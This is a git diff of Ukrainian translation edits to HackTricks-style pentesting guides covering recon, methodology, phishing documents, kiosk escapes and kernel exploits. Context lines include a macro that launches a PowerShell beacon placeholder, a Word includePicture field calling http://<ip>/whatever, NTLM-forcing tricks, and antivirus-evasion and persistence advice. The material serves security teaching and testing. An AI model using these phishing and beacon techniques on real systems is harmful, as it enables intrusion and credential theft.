Ще один зручний інструмент для пошуку веб-серверів - це [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) та [**httpx**](https://github.com/projectdiscovery/httpx). Ви просто передаєте список доменів, і він спробує підключитися до порту 80 (http) та 443 (https). Додатково, ви можете вказати спробувати інші порти:
|
||||
@ -494,11 +494,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
```
|
||||
### **Скриншоти**
|
||||
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і почнемо просто з того, щоб зробити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до **вразливостей**.
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і просто почнемо робити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** бути **вразливими**.
|
||||
|
||||
Для реалізації запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скриншоти** і вказати, **що, ймовірно, міститиме вразливості**, а що ні.
|
||||
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скриншоти** і дізнатися, **що, ймовірно, міститиме вразливості**, а що ні.
|
||||
|
||||
## Публічні хмарні активи
|
||||
|
||||
@ -535,7 +535,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
## Витоки облікових даних
|
||||
|
||||
З **доменами,** **піддоменами** та **електронними листами** ви можете почати шукати облікові дані, які були витікали в минулому і належать цим електронним листам:
|
||||
З **доменами**, **піддоменами** та **електронними листами** ви можете почати шукати облікові дані, які були витікали в минулому і належать цим електронним листам:
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
@ -546,7 +546,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
## Витоки секретів
|
||||
|
||||
Витоки облікових даних пов'язані з злом компаній, де **конфіденційна інформація була витікала та продавалася**. Однак компанії можуть бути піддані впливу **інших витоків**, інформація про які не міститься в цих базах даних:
|
||||
Витоки облікових даних пов'язані з зломами компаній, де **конфіденційна інформація була витікала та продавалася**. Однак компанії можуть постраждати від **інших витоків**, інформація про які не міститься в цих базах даних:
|
||||
|
||||
### Витоки Github
|
||||
|
||||
@ -570,7 +570,7 @@ github-leaked-secrets.md
|
||||
|
||||
### Dorks Google
|
||||
|
||||
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, яка не повинна бути там**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
|
||||
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
|
||||
|
||||
_Зверніть увагу, що інструменти, які очікують запустити всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
|
||||
|
||||
@ -594,7 +594,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
||||
|
||||
## [**Методологія пентестингу веб**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
|
||||
**Більшість вразливостей**, виявлених шукачами помилок, знаходяться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/index.html).
|
||||
**Більшість вразливостей**, виявлених мисливцями за помилками, знаходяться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/index.html).
|
||||
|
||||
Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
|
||||
|
||||
@ -608,13 +608,13 @@ _Зверніть увагу, що інструменти, які очікуют
|
||||
2. Знайшли всі **активи**, що належать компаніям (і виконали деяке сканування вразливостей, якщо це в межах сфери)
|
||||
3. Знайшли всі **домени**, що належать компаніям
|
||||
4. Знайшли всі **піддомени** доменів (чи є якісь захоплення піддоменів?)
|
||||
5. Знайшли всі **IP** (з та **не з CDN**) в межах сфери.
|
||||
5. Знайшли всі **IP** (з і **не з CDN**) в межах сфери.
|
||||
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто детальніше розглянути?)
|
||||
7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії.
|
||||
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**.
|
||||
9. **Пентестинг всіх веб-сайтів, які ви знайшли**
|
||||
|
||||
## **Автоматизовані інструменти повного розвідки**
|
||||
## **Повні автоматизовані інструменти розвідки**
|
||||
|
||||
Існує кілька інструментів, які виконуватимуть частину запропонованих дій проти заданої сфери.
|
||||
|
||||
|
||||
@ -15,7 +15,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
### 1 - [Виявлення хостів у мережі](pentesting-network/index.html#discovering-hosts)/ [Виявлення активів компанії](external-recon-methodology/index.html)
|
||||
|
||||
**Залежно** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в інтернеті** (зовнішній тест).
|
||||
**Залежно** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо ви проводите зовнішній тест, після того, як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
|
||||
@ -29,7 +29,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте подивимося на [**базові інструменти для сканування портів хостів**](pentesting-network/index.html#scanning-hosts).
|
||||
|
||||
### **4-** [Пошук експлойтів для версій сервісів](../generic-hacking/search-exploits.md)
|
||||
### **4-** [Пошук експлойтів версій сервісів](../generic-hacking/search-exploits.md)
|
||||
|
||||
Якщо ви знаєте, які сервіси працюють, і, можливо, їх версії, вам потрібно **шукати відомі вразливості**. Можливо, вам пощастить, і існує експлойт, який дасть вам оболонку...
|
||||
|
||||
@ -42,7 +42,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/index.html) **частину (оскільки вона є найбільш обширною).**\
|
||||
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](../generic-hacking/search-exploits.md).
|
||||
|
||||
**Якщо ваш сервіс не входить до індексу, шукайте в Google** інші посібники та **повідомте мене, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
**Якщо вашого сервісу немає в індексі, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
|
||||
#### 5.1 Автоматичні інструменти
|
||||
|
||||
@ -60,7 +60,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
Якимось чином ви повинні були знайти **якийсь спосіб виконати код** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання зворотної оболонки, буде дуже корисним](../generic-hacking/reverse-shells/index.html).
|
||||
|
||||
Особливо в Windows вам може знадобитися допомога, щоб **уникнути антивірусів**: [**Перевірте цю сторінку**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Особливо в Windows вам може знадобитися допомога, щоб **уникнути антивірусів**: [**Перевірте цю сторінку**](../windows-hardening/av-bypass.md)**.**
|
||||
|
||||
### 8- Всередині
|
||||
|
||||
@ -72,7 +72,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
### **9 -** [**Екстракція**](../generic-hacking/exfiltration.md)
|
||||
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](../generic-hacking/exfiltration.md)**.**
|
||||
Вам, ймовірно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](../generic-hacking/exfiltration.md)**.**
|
||||
|
||||
### **10- Підвищення привілеїв**
|
||||
|
||||
@ -80,37 +80,37 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
Якщо ви **не root/Адміністратор** всередині системи, вам слід знайти спосіб **підвищити привілеї.**\
|
||||
Тут ви можете знайти **посібник для підвищення привілеїв локально в** [**Linux**](../linux-hardening/privilege-escalation/index.html) **та в** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
|
||||
Вам також слід перевірити ці сторінки про те, як **працює Windows**:
|
||||
Вам також слід перевірити ці сторінки про те, як працює **Windows**:
|
||||
|
||||
- [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
|
||||
- Як працює [**NTLM**](../windows-hardening/ntlm/index.html)
|
||||
- Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows
|
||||
- Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
|
||||
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку локальних шляхів підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів локального підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Підвищення привілеїв домену**
|
||||
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/index.html). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team.
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/index.html). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час пентестингу/Red Team завдання.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Лутання
|
||||
|
||||
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте **доступ до інших машин** з **привілеями** вашого **користувача**.\
|
||||
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або якщо у вас є **доступ до інших машин** з **привілеями** вашого **користувача**.\
|
||||
Знайдіть тут різні способи [**вивантаження паролів у Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Постійність
|
||||
|
||||
**Використовуйте 2 або 3 різні типи механізмів постійності, щоб вам не потрібно було знову експлуатувати систему.**\
|
||||
**Тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
**Ось тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
|
||||
TODO: Завершити постійність у Windows та Linux
|
||||
|
||||
### 12 - Півотування
|
||||
|
||||
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](../generic-hacking/tunneling-and-port-forwarding.md).\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост, що говорить про тунелювання**](../generic-hacking/tunneling-and-port-forwarding.md).\
|
||||
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/index.html). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/index.html), це може бути дуже корисно для півотування в Windows-середовищах.
|
||||
|
||||
@ -120,8 +120,8 @@ TODO: Завершити постійність у Windows та Linux
|
||||
|
||||
#### **Експлуатація**
|
||||
|
||||
- [**Основна експлуатація Linux**](broken-reference/index.html)
|
||||
- [**Основна експлуатація Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [**Основи експлуатації Linux**](broken-reference/index.html)
|
||||
- [**Основи експлуатації Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [**Основні інструменти експлуатації**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
|
||||
|
||||
#### [**Основи Python**](python/index.html)
|
||||
|
||||
@ -18,8 +18,8 @@ DOCX файли, що посилаються на віддалений шабл
|
||||
|
||||
### Завантаження зовнішнього зображення
|
||||
|
||||
Перейдіть до: _Вставити --> Швидкі частини --> Поле_\
|
||||
&#xNAN;_**Категорії**: Посилання та довідки, **Імена полів**: includePicture, і **Ім'я файлу або URL**:_ http://\<ip>/whatever
|
||||
Перейдіть до: _Вставити --> Швидкі елементи --> Поле_\
|
||||
_**Категорії**: Посилання та довідки, **Імена полів**: includePicture, та **Ім'я файлу або URL**:_ http://\<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -29,7 +29,7 @@ DOCX файли, що посилаються на віддалений шабл
|
||||
|
||||
#### Автозавантажувані функції
|
||||
|
||||
Чим більше вони поширені, тим більше ймовірність, що AV їх виявить.
|
||||
Чим поширеніші вони, тим більше ймовірність, що антивірус їх виявить.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
@ -79,7 +79,7 @@ proc.Create "powershell <beacon line generated>
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Файли
|
||||
## HTA файли
|
||||
|
||||
HTA - це програма Windows, яка **поєднує HTML та мови сценаріїв (такі як VBScript та JScript)**. Вона генерує інтерфейс користувача та виконується як "повністю довірена" програма, без обмежень моделі безпеки браузера.
|
||||
|
||||
@ -140,7 +140,7 @@ self.close
|
||||
```
|
||||
## Примусова аутентифікація NTLM
|
||||
|
||||
Існує кілька способів **примусити аутентифікацію NTLM "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких отримувач отримуватиме доступ (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **запустять** **аутентифікацію** лише для **відкриття папки.**
|
||||
Існує кілька способів **примусити аутентифікацію NTLM "віддалено"**, наприклад, ви можете додати **невидимі зображення** до електронних листів або HTML, до яких отримувач отримуватиме доступ (навіть HTTP MitM?). Або надіслати жертві **адресу файлів**, які **спровокують** **аутентифікацію** лише для **відкриття папки.**
|
||||
|
||||
**Перевірте ці ідеї та інші на наступних сторінках:**
|
||||
|
||||
|
||||
@ -7,9 +7,9 @@
|
||||
## Перевірка фізичного пристрою
|
||||
|
||||
| Компонент | Дія |
|
||||
| ------------- | ------------------------------------------------------------------ |
|
||||
| ------------- | ----------------------------------------------------------------- |
|
||||
| Кнопка живлення | Вимкнення та повторне вмикнення пристрою може відкрити стартовий екран |
|
||||
| Кабель живлення | Перевірте, чи перезавантажується пристрій, коли живлення короткочасно вимкнено |
|
||||
| Живлення | Перевірте, чи перезавантажується пристрій, коли живлення короткочасно вимкнено |
|
||||
| USB порти | Підключіть фізичну клавіатуру з додатковими комбінаціями |
|
||||
| Ethernet | Сканування мережі або перехоплення може дозволити подальшу експлуатацію |
|
||||
|
||||
@ -28,7 +28,7 @@
|
||||
|
||||
- Модифікувати або створювати нові файли
|
||||
- Створювати символічні посилання
|
||||
- Отримати доступ до обмежених областей
|
||||
- Отримати доступ до обмежених зон
|
||||
- Виконувати інші додатки
|
||||
|
||||
### Виконання команд
|
||||
@ -101,7 +101,7 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
||||
- WINDOWS+F – Пошук
|
||||
- SHIFT+F10 – Контекстне меню
|
||||
- CTRL+SHIFT+ESC – Диспетчер завдань
|
||||
- CTRL+ALT+DEL – Екран привітання на новіших версіях Windows
|
||||
- CTRL+ALT+DEL – Екран завантаження на новіших версіях Windows
|
||||
- F1 – Допомога F3 – Пошук
|
||||
- F6 – Адресний рядок
|
||||
- F11 – Перемикання на повний екран у Internet Explorer
|
||||
@ -109,20 +109,20 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
||||
- CTRL+T – Internet Explorer – Нова вкладка
|
||||
- CTRL+N – Internet Explorer – Нова сторінка
|
||||
- CTRL+O – Відкрити файл
|
||||
- CTRL+S – Зберегти CTRL+N – Нова RDP / Citrix
|
||||
- CTRL+S – Зберегти CTRL+N – Новий RDP / Citrix
|
||||
|
||||
### Проведення
|
||||
|
||||
- Проведіть з лівого боку вправо, щоб побачити всі відкриті вікна, зменшивши додаток KIOSK і отримавши доступ до всієї ОС безпосередньо;
|
||||
- Проведіть з правого боку вліво, щоб відкрити Центр дій, зменшивши додаток KIOSK і отримавши доступ до всієї ОС безпосередньо;
|
||||
- Проведіть з верхнього краю, щоб зробити заголовок видимим для програми, відкритої в повноекранному режимі;
|
||||
- Проведіть з лівого боку вправо, щоб побачити всі відкриті вікна, зменшивши KIOSK-додаток і отримавши доступ до всієї ОС безпосередньо;
|
||||
- Проведіть з правого боку вліво, щоб відкрити Центр дій, зменшивши KIOSK-додаток і отримавши доступ до всієї ОС безпосередньо;
|
||||
- Проведіть зверху вниз, щоб зробити заголовок видимим для програми, відкритої в повноекранному режимі;
|
||||
- Проведіть вгору знизу, щоб показати панель завдань у повноекранному додатку.
|
||||
|
||||
### Трюки Internet Explorer
|
||||
|
||||
#### 'Панель інструментів зображень'
|
||||
#### 'Панель зображень'
|
||||
|
||||
Це панель інструментів, яка з'являється у верхньому лівому куті зображення, коли на нього натискають. Ви зможете зберегти, надрукувати, надіслати поштою, відкрити "Мої зображення" в Провіднику. Kiosk повинен використовувати Internet Explorer.
|
||||
Це панель, яка з'являється у верхньому лівому куті зображення, коли на нього натискають. Ви зможете Зберегти, Друкувати, Відправити поштою, Відкрити "Мої зображення" в Провіднику. Kiosk повинен використовувати Internet Explorer.
|
||||
|
||||
#### Протокол оболонки
|
||||
|
||||
@ -159,7 +159,7 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
||||
Резервні версії iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)
|
||||
|
||||
Створіть загальний діалог, використовуючи JavaScript, і отримайте доступ до провідника файлів: `document.write('<input/type=file>')`\
|
||||
Джерело: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
@ -168,29 +168,29 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
||||
|
||||
### Жести та кнопки
|
||||
|
||||
- Проведіть вгору чотирма (або п'ятьма) пальцями / Подвійне натискання кнопки Home: Щоб переглянути вид багатозадачності та змінити додаток
|
||||
- Проведіть вгору чотирма (або п'ятьма) пальцями / Подвійний натиск кнопки Home: Щоб переглянути вид багатозадачності та змінити додаток
|
||||
- Проведіть в один бік або інший чотирма або п'ятьма пальцями: Щоб змінити на наступний/останній додаток
|
||||
- Зімніть екран п'ятьма пальцями / Натисніть кнопку Home / Проведіть вгору одним пальцем знизу екрану швидким рухом вгору: Щоб отримати доступ до Home
|
||||
- Проведіть одним пальцем знизу екрану всього на 1-2 дюйми (повільно): Появиться док
|
||||
- Проведіть одним пальцем знизу екрану всього на 1-2 дюйми (повільно): Панель Dock з'явиться
|
||||
- Проведіть вниз з верхньої частини дисплея одним пальцем: Щоб переглянути ваші сповіщення
|
||||
- Проведіть вниз одним пальцем у верхньому правому куті екрану: Щоб побачити центр управління iPad Pro
|
||||
- Проведіть одним пальцем зліва від екрану на 1-2 дюйми: Щоб побачити вид Сьогодні
|
||||
- Проведіть швидко одним пальцем з центру екрану вправо або вліво: Щоб змінити на наступний/останній додаток
|
||||
- Натисніть і утримуйте кнопку Увімкнення/**Вимкнення**/Сну в верхньому правому куті **iPad +** Перемістіть повзунок Вимкнути **вимкнення** до правого краю: Щоб вимкнути
|
||||
- Натисніть кнопку Увімкнення/**Вимкнення**/Сну в верхньому правому куті **iPad і кнопку Home на кілька секунд**: Щоб примусово вимкнути
|
||||
- Натисніть кнопку Увімкнення/**Вимкнення**/Сну в верхньому правому куті **iPad і кнопку Home швидко**: Щоб зробити знімок екрану, який з'явиться в нижньому лівому куті дисплея. Натискайте обидві кнопки одночасно дуже коротко, оскільки якщо ви утримаєте їх кілька секунд, буде виконано жорстке вимкнення.
|
||||
- Натисніть і утримуйте кнопку Включення/**Вимкнення**/Сну в верхньому правому куті **iPad +** Перемістіть повзунок Вимкнути **вимкнення** до правого краю: Щоб вимкнути
|
||||
- Натисніть кнопку Включення/**Вимкнення**/Сну в верхньому правому куті **iPad і кнопку Home на кілька секунд**: Щоб примусово вимкнути
|
||||
- Натисніть кнопку Включення/**Вимкнення**/Сну в верхньому правому куті **iPad і кнопку Home швидко**: Щоб зробити знімок екрану, який з'явиться в нижньому лівому куті дисплея. Натискайте обидві кнопки одночасно дуже коротко, оскільки якщо ви утримаєте їх кілька секунд, буде виконано жорстке вимкнення.
|
||||
|
||||
### Комбінації клавіш
|
||||
|
||||
Вам слід мати клавіатуру iPad або адаптер USB для клавіатури. Тут будуть показані лише комбінації клавіш, які можуть допомогти вийти з програми.
|
||||
|
||||
| Клавіша | Назва |
|
||||
| ------- | ------------ |
|
||||
| ------- | ------------- |
|
||||
| ⌘ | Команда |
|
||||
| ⌥ | Опція (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Повернення |
|
||||
| ⇥ | Табуляція |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Контроль |
|
||||
| ← | Ліва стрілка |
|
||||
| → | Права стрілка|
|
||||
@ -199,7 +199,7 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
||||
|
||||
#### Системні комбінації клавіш
|
||||
|
||||
Ці комбінації клавіш призначені для візуальних налаштувань та налаштувань звуку, залежно від використання iPad.
|
||||
Ці комбінації клавіш призначені для налаштувань візуальних та звукових параметрів, залежно від використання iPad.
|
||||
|
||||
| Комбінація клавіш | Дія |
|
||||
| ------------------ | -------------------------------------------------------------------------- |
|
||||
@ -215,31 +215,31 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
||||
|
||||
#### Навігація iPad
|
||||
|
||||
| Комбінація клавіш | Дія |
|
||||
| ---------------------------------------------------- | --------------------------------------------------- |
|
||||
| ⌘H | Перейти на головний екран |
|
||||
| ⌘⇧H (Command-Shift-H) | Перейти на головний екран |
|
||||
| ⌘ (Space) | Відкрити Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Список останніх десяти використаних додатків |
|
||||
| ⌘\~ | Перейти до останнього додатку |
|
||||
| Комбінація клавіш | Дія |
|
||||
| ---------------------------------------------------- | ----------------------------------------------------- |
|
||||
| ⌘H | Перейти на головну |
|
||||
| ⌘⇧H (Command-Shift-H) | Перейти на головну |
|
||||
| ⌘ (Space) | Відкрити Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Список останніх десяти використаних додатків |
|
||||
| ⌘\~ | Перейти до останнього додатку |
|
||||
| ⌘⇧3 (Command-Shift-3) | Знімок екрану (з'являється в нижньому лівому куті для збереження або дій) |
|
||||
| ⌘⇧4 | Знімок екрану та відкриття його в редакторі |
|
||||
| Натисніть і утримуйте ⌘ | Список доступних комбінацій клавіш для програми |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Відкриває док |
|
||||
| ^⌥H (Control-Option-H) | Кнопка Home |
|
||||
| ^⌥H H (Control-Option-H-H) | Показати панель багатозадачності |
|
||||
| ^⌥I (Control-Option-i) | Вибір елемента |
|
||||
| Escape | Кнопка назад |
|
||||
| → (Права стрілка) | Наступний елемент |
|
||||
| ← (Ліва стрілка) | Попередній елемент |
|
||||
| ↑↓ (Вверх, Вниз) | Одночасно натискайте вибраний елемент |
|
||||
| ⌥ ↓ (Option-Down arrow) | Прокрутити вниз |
|
||||
| ⌥↑ (Option-Up arrow) | Прокрутити вгору |
|
||||
| ⌥← або ⌥→ (Option-Left arrow або Option-Right arrow) | Прокрутити вліво або вправо |
|
||||
| ^⌥S (Control-Option-S) | Увімкнути або вимкнути голосовий супровід |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | Перемикання на попередній додаток |
|
||||
| ⌘⇥ (Command-Tab) | Повернутися до оригінального додатку |
|
||||
| ←+→, потім Option + ← або Option+→ | Навігація через док |
|
||||
| ⌘⇧4 | Знімок екрану та відкриття його в редакторі |
|
||||
| Натисніть і утримуйте ⌘ | Список доступних комбінацій клавіш для програми |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Відкриває панель Dock |
|
||||
| ^⌥H (Control-Option-H) | Кнопка Home |
|
||||
| ^⌥H H (Control-Option-H-H) | Показати панель багатозадачності |
|
||||
| ^⌥I (Control-Option-i) | Вибір елемента |
|
||||
| Escape | Кнопка назад |
|
||||
| → (Права стрілка) | Наступний елемент |
|
||||
| ← (Ліва стрілка) | Попередній елемент |
|
||||
| ↑↓ (Вверх, Вниз) | Одночасно натискайте на вибраний елемент |
|
||||
| ⌥ ↓ (Option-Down arrow) | Прокрутка вниз |
|
||||
| ⌥↑ (Option-Up arrow) | Прокрутка вгору |
|
||||
| ⌥← або ⌥→ (Option-Left arrow або Option-Right arrow) | Прокрутка вліво або вправо |
|
||||
| ^⌥S (Control-Option-S) | Увімкнути або вимкнути голосовий супровід |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | Перемикання на попередній додаток |
|
||||
| ⌘⇥ (Command-Tab) | Повернутися до оригінального додатку |
|
||||
| ←+→, потім Option + ← або Option+→ | Навігація через Dock |
|
||||
|
||||
#### Комбінації клавіш Safari
|
||||
|
||||
|
||||
@ -35,7 +35,7 @@ searchsploit "Linux Kernel"
|
||||
Ви можете знайти хороший список вразливих ядер та деякі вже **скомпільовані експлойти** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
|
||||
Інші сайти, де ви можете знайти деякі **скомпільовані експлойти**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
Щоб витягти всі вразливі версії ядра з цього веб-сайту, ви можете зробити:
|
||||
Щоб витягти всі вразливі версії ядер з цього веб-сайту, ви можете зробити:
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
